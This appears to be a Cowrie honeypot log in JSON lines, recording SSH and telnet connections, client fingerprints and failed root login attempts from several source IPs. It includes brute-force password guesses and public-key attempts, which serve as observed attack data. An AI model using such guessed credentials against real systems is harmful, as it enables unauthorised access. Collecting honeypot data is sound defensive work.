{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:22:23.630566Z","src_ip":"109.172.54.111","session":"257ebfaee3c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:22:23.733263Z","src_ip":"109.172.54.111","session":"257ebfaee3c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12378","message":"login attempt [root/12378] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:22:24.022877Z","src_ip":"109.172.54.111","session":"257ebfaee3c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:22:25.122462Z","src_ip":"109.172.54.111","session":"257ebfaee3c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.92595386505127,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:22:26.903971Z","src_ip":"135.148.14.151","session":"8fc16d4ca19a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.717690229415894,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:22:31.584681Z","src_ip":"135.148.14.151","session":"61bdbc956965","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":36986,"dst_ip":"10.17.0.5","dst_port":22,"session":"d41a3fb52ccb","protocol":"ssh","message":"New connection: 80.66.85.226:36986 (10.17.0.5:22) [session: d41a3fb52ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:22:39.850710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:22:39.860329Z","src_ip":"80.66.85.226","session":"d41a3fb52ccb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:22:39.947028Z","src_ip":"80.66.85.226","session":"d41a3fb52ccb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anna1985","message":"login attempt [root/anna1985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:22:40.205498Z","src_ip":"80.66.85.226","session":"d41a3fb52ccb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:22:41.294253Z","src_ip":"80.66.85.226","session":"d41a3fb52ccb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.99590539932251,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:22:44.093810Z","src_ip":"135.148.14.151","session":"1a00d68ee57d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59446,"dst_ip":"159.203.135.109","dst_port":23,"session":"517f7c15d99e","protocol":"telnet","message":"New connection: 135.148.14.151:59446 (159.203.135.109:23) [session: 517f7c15d99e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:22:44.202809Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":44980,"dst_ip":"159.203.135.109","dst_port":22,"session":"c35e12ee643e","protocol":"ssh","message":"New connection: 51.250.105.222:44980 (159.203.135.109:22) [session: c35e12ee643e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:23:18.219107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:23:18.224823Z","src_ip":"51.250.105.222","session":"c35e12ee643e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:23:18.354103Z","src_ip":"51.250.105.222","session":"c35e12ee643e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:23:18.735121Z","src_ip":"51.250.105.222","session":"c35e12ee643e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:23:19.864917Z","src_ip":"51.250.105.222","session":"c35e12ee643e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.55540752410889,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:23:20.758081Z","src_ip":"135.148.14.151","session":"517f7c15d99e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.90.232.249","src_port":39806,"dst_ip":"10.17.0.5","dst_port":22,"session":"72054b2056db","protocol":"ssh","message":"New connection: 209.90.232.249:39806 (10.17.0.5:22) [session: 72054b2056db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:23:35.292698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:23:35.297452Z","src_ip":"209.90.232.249","session":"72054b2056db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:23:35.373747Z","src_ip":"209.90.232.249","session":"72054b2056db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:15:d5:cf:3f:75:78:40:4d:53:a0:fe:21:bf:d9:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0uIyVcfQ0SGT3ZdL0uh66m+VNp3x/uoI9aiR8tSNcB97MgSm4ljbjIeg7aGejQrllASI9wcqMTss9ipI3r8QaCvt+0IBRDVP6EXpTdvzzZ1PYWB5gADlYsM2NFxsUGoFLhaY/7jVNXwdS2VNxMQmV24oOnQEVOPnX2zTqWSfWTIO1hRBhlfVBqfUofEsqaOubD9o9kpUm9XS0xV2lNmhN7P6gcmRoEbuQMcn5A9gCtrGe7PFPd4+sRwMsd+8bwQ0JabYSj85jBE9THyxCfxekzf8e+2EV54wNExLVvUS+h03yBPSr7gKJghMVBoWeaaweSvE8ksG6HV6TjK6L+S8r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:15:d5:cf:3f:75:78:40:4d:53:a0:fe:21:bf:d9:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:23:35.713799Z","src_ip":"209.90.232.249","session":"72054b2056db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:15:d5:cf:3f:75:78:40:4d:53:a0:fe:21:bf:d9:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0uIyVcfQ0SGT3ZdL0uh66m+VNp3x/uoI9aiR8tSNcB97MgSm4ljbjIeg7aGejQrllASI9wcqMTss9ipI3r8QaCvt+0IBRDVP6EXpTdvzzZ1PYWB5gADlYsM2NFxsUGoFLhaY/7jVNXwdS2VNxMQmV24oOnQEVOPnX2zTqWSfWTIO1hRBhlfVBqfUofEsqaOubD9o9kpUm9XS0xV2lNmhN7P6gcmRoEbuQMcn5A9gCtrGe7PFPd4+sRwMsd+8bwQ0JabYSj85jBE9THyxCfxekzf8e+2EV54wNExLVvUS+h03yBPSr7gKJghMVBoWeaaweSvE8ksG6HV6TjK6L+S8r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:23:35.718155Z","src_ip":"209.90.232.249","session":"72054b2056db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:0c:33:9c:6b:8e:af:fe:af:02:9f:c2:80:15:40:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkexENOphG7K28kjBMiGY0lo0m9qAsCJHj4BA4SruY778DTfe4hq+rJosP83dmiBWXEWcp5Hk04SxyuTntEc+ZuXZSliY1zWwh4AcjeTPjfMR4jECWbLvLnprMKrxlc6qtArWJ4s30VP7IbIYobxpC/fA3bCXkjcqZBhTYByfmqkYTZ3++4dBXv71tT5vihH0V+yqv1C8U5s1ydbK7nf3n3wuuIwKCeE63rFvQiIsdthyZ8nHQqMMSF14TJBLZy5QmYi5QzPzb5P6J34HNcymQVB55iJGQJMu8qxcD0PQ6/A42LuQs2I6P+qOmuK04HfO0fT+T9YQ/wlkgb0BUmkM1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:0c:33:9c:6b:8e:af:fe:af:02:9f:c2:80:15:40:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:23:35.793150Z","src_ip":"209.90.232.249","session":"72054b2056db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:0c:33:9c:6b:8e:af:fe:af:02:9f:c2:80:15:40:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkexENOphG7K28kjBMiGY0lo0m9qAsCJHj4BA4SruY778DTfe4hq+rJosP83dmiBWXEWcp5Hk04SxyuTntEc+ZuXZSliY1zWwh4AcjeTPjfMR4jECWbLvLnprMKrxlc6qtArWJ4s30VP7IbIYobxpC/fA3bCXkjcqZBhTYByfmqkYTZ3++4dBXv71tT5vihH0V+yqv1C8U5s1ydbK7nf3n3wuuIwKCeE63rFvQiIsdthyZ8nHQqMMSF14TJBLZy5QmYi5QzPzb5P6J34HNcymQVB55iJGQJMu8qxcD0PQ6/A42LuQs2I6P+qOmuK04HfO0fT+T9YQ/wlkgb0BUmkM1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:23:35.813136Z","src_ip":"209.90.232.249","session":"72054b2056db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:a7:0c:d5:f4:58:f4:0f:82:13:8b:80:2f:9e:0e:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMivL9bE+zUm1B76K2VoJIdvSt8FWYJejv5G7vV5th9NyfpEjExEHXCrX94rGXZ52nYr0lUXIux+OnR+cWYPwiPlsJe7CvJCDNS/+s2mmnY4avEiSy4sI3J82v6VqtxTxF+Ax2qB5mhGOFzO1DKqzZHhL9B3qHrAN3TM6JBb7lIMrr1S41GRqe2Rm6rBQ4JN8ahX/29FIXkxTDIcUg2SKgTO0+/UG1cG4eZH51uR1jfyZvcbSgB9xky9kCsf02PmRCd9kK56mk7bYuQIUQf26fonk/3k7+bwDSnS6FWWjHgwohFj0tFn9h5twDFVuhi+OuIK/BOPSzJfhSuqcUfezN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:a7:0c:d5:f4:58:f4:0f:82:13:8b:80:2f:9e:0e:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:23:35.900942Z","src_ip":"209.90.232.249","session":"72054b2056db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:a7:0c:d5:f4:58:f4:0f:82:13:8b:80:2f:9e:0e:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMivL9bE+zUm1B76K2VoJIdvSt8FWYJejv5G7vV5th9NyfpEjExEHXCrX94rGXZ52nYr0lUXIux+OnR+cWYPwiPlsJe7CvJCDNS/+s2mmnY4avEiSy4sI3J82v6VqtxTxF+Ax2qB5mhGOFzO1DKqzZHhL9B3qHrAN3TM6JBb7lIMrr1S41GRqe2Rm6rBQ4JN8ahX/29FIXkxTDIcUg2SKgTO0+/UG1cG4eZH51uR1jfyZvcbSgB9xky9kCsf02PmRCd9kK56mk7bYuQIUQf26fonk/3k7+bwDSnS6FWWjHgwohFj0tFn9h5twDFVuhi+OuIK/BOPSzJfhSuqcUfezN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:23:35.905083Z","src_ip":"209.90.232.249","session":"72054b2056db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:63:99:ed:f9:41:53:3e:d8:a8:73:22:4c:f2:35:d4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFlKFb05wRXkAzIe0UIrbJd02huEwQV9Izpsy1PGoY6d","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 77:63:99:ed:f9:41:53:3e:d8:a8:73:22:4c:f2:35:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:23:35.978107Z","src_ip":"209.90.232.249","session":"72054b2056db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:63:99:ed:f9:41:53:3e:d8:a8:73:22:4c:f2:35:d4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFlKFb05wRXkAzIe0UIrbJd02huEwQV9Izpsy1PGoY6d","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:23:35.982409Z","src_ip":"209.90.232.249","session":"72054b2056db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:26:c4:3b:83:0c:1c:c4:02:87:cb:32:a8:bc:1b:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSeCK376JCWtcH3Rt/5YmWQbUX9cdt8FWLE3pQPNh0gmZo3VqxF17O22J3nWyvH6VOsXv4nlqJlFqP4oyzpI+OoCMN4kxjZJeXKXmjIefaNTRC3T2zEqqXSho0P1X9Xj3YIr0+Amw5cGZupGdB5oFA+R0QT52EN0gVlO38eothFdHd6qxlHze3kT9YkNc5jwharorUW5g08tSTrJUMHP79H7TETTGwCIGZBYTW8RwvjehLR7W7TorIbpG7pwbJr4VeKR9QJr23922xHOXgnYPo39XmDsb4rvE8O6oTX36JFMZUVuPHAFdpqBv517gCm6HqnkgEgf5uI+bOCJQxDCbv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:26:c4:3b:83:0c:1c:c4:02:87:cb:32:a8:bc:1b:3d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:23:36.054857Z","src_ip":"209.90.232.249","session":"72054b2056db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:26:c4:3b:83:0c:1c:c4:02:87:cb:32:a8:bc:1b:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSeCK376JCWtcH3Rt/5YmWQbUX9cdt8FWLE3pQPNh0gmZo3VqxF17O22J3nWyvH6VOsXv4nlqJlFqP4oyzpI+OoCMN4kxjZJeXKXmjIefaNTRC3T2zEqqXSho0P1X9Xj3YIr0+Amw5cGZupGdB5oFA+R0QT52EN0gVlO38eothFdHd6qxlHze3kT9YkNc5jwharorUW5g08tSTrJUMHP79H7TETTGwCIGZBYTW8RwvjehLR7W7TorIbpG7pwbJr4VeKR9QJr23922xHOXgnYPo39XmDsb4rvE8O6oTX36JFMZUVuPHAFdpqBv517gCm6HqnkgEgf5uI+bOCJQxDCbv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:23:36.060247Z","src_ip":"209.90.232.249","session":"72054b2056db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:23:36.135007Z","src_ip":"209.90.232.249","session":"72054b2056db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47452,"dst_ip":"159.203.135.109","dst_port":23,"session":"672e0a234670","protocol":"telnet","message":"New connection: 135.148.14.151:47452 (159.203.135.109:23) [session: 672e0a234670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:24:24.484757Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50090,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a2962fb2b37","protocol":"telnet","message":"New connection: 135.148.14.151:50090 (159.203.135.109:23) [session: 1a2962fb2b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:24:29.698345Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57204,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d3564c229b0","protocol":"telnet","message":"New connection: 135.148.14.151:57204 (159.203.135.109:23) [session: 5d3564c229b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:24:44.913034Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34126,"dst_ip":"159.203.135.109","dst_port":23,"session":"c11d60ccf028","protocol":"telnet","message":"New connection: 135.148.14.151:34126 (159.203.135.109:23) [session: c11d60ccf028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:24:56.155311Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59600,"dst_ip":"159.203.135.109","dst_port":23,"session":"b64dbb20e7f9","protocol":"telnet","message":"New connection: 135.148.14.151:59600 (159.203.135.109:23) [session: b64dbb20e7f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:24:57.147843Z"}
{"eventid":"cowrie.session.closed","duration":33.86596179008484,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:24:58.350615Z","src_ip":"135.148.14.151","session":"672e0a234670","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.584782123565674,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:25:06.283031Z","src_ip":"135.148.14.151","session":"1a2962fb2b37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41928,"dst_ip":"159.203.135.109","dst_port":23,"session":"b007160a55dc","protocol":"telnet","message":"New connection: 135.148.14.151:41928 (159.203.135.109:23) [session: b007160a55dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:25:14.844712Z"}
{"eventid":"cowrie.session.closed","duration":38.810391664505005,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:25:23.723313Z","src_ip":"135.148.14.151","session":"5d3564c229b0","protocol":"telnet"}
